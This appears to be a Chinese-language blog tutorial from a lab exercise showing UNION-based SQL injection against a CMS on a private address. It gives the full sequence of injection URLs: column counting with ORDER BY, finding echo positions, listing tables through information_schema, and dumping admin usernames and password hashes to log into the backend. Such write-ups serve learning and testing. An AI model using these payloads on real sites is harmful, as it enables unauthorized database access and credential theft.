01-sql-聯合查詢

southerose發表於2020-10-18

查詢

語法

select… union select…

條件

1.查詢的兩張表具有列數
2.查詢的兩張表具有相同的欄位

過程

探測網站是否存在注入點

在這裡插入圖片描述
開啟網站主頁,隨便開啟一個一條新聞

http://192.168.36.131/cms/show.php?id=33

在這裡插入圖片描述
可以看到URL中出現id,改變id值,頁面出現跳轉

http://192.168.36.131/cms/show.php?id=34

在這裡插入圖片描述

查詢當前資料庫中資料表的列數

使用order by查詢當前資料庫中資料表的列數

http://192.168.36.131/cms/show.php?id=34 order by 15

在這裡插入圖片描述

此處頁面正常顯示

查詢回顯位

以下接著進行聯合查詢

http://192.168.36.131/cms/show.php?id=34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

在這裡插入圖片描述
頁面沒有回顯,將id的值置為假

http://192.168.36.131/cms/show.php?id=-34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

在這裡插入圖片描述
發現有2個回顯位(3號位和11號位)

查詢當前資料庫中資料表的列數

http://192.168.36.131/cms/show.php?id=-34 union select 1,2,hex(table_name),4,5,6,7,8,9,10,database(),12,13,14,15 from information_schema.tables where table_schema=database()

在這裡插入圖片描述
對錶名進行解碼(十六進位制)
(636D735F61727469636C65)轉換得到當前表名(cms_article)
為了得到當前資料庫的所有表名,使用groupconcat()

http://192.168.36.131/cms/show.php?id=-34 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,database(),12,13,14,15 from information_schema.tables where table_schema=database()

(636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273)十六進位制轉換得到(cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users)

查詢資料後臺賬號和密碼

根據得到的資料表名,猜想資料庫賬號和密碼儲存在cms_users中,對cms_users進行查詢

http://192.168.36.131/cms/show.php?id=-34 union select 1,2,concat(username,0x2a,password),4,5,6,7,8,9,10,database(),12,13,14,15 from cms_users

在這裡插入圖片描述
MD5解碼得到密碼是123456
在這裡插入圖片描述
至此成功登陸網站後臺

相關文章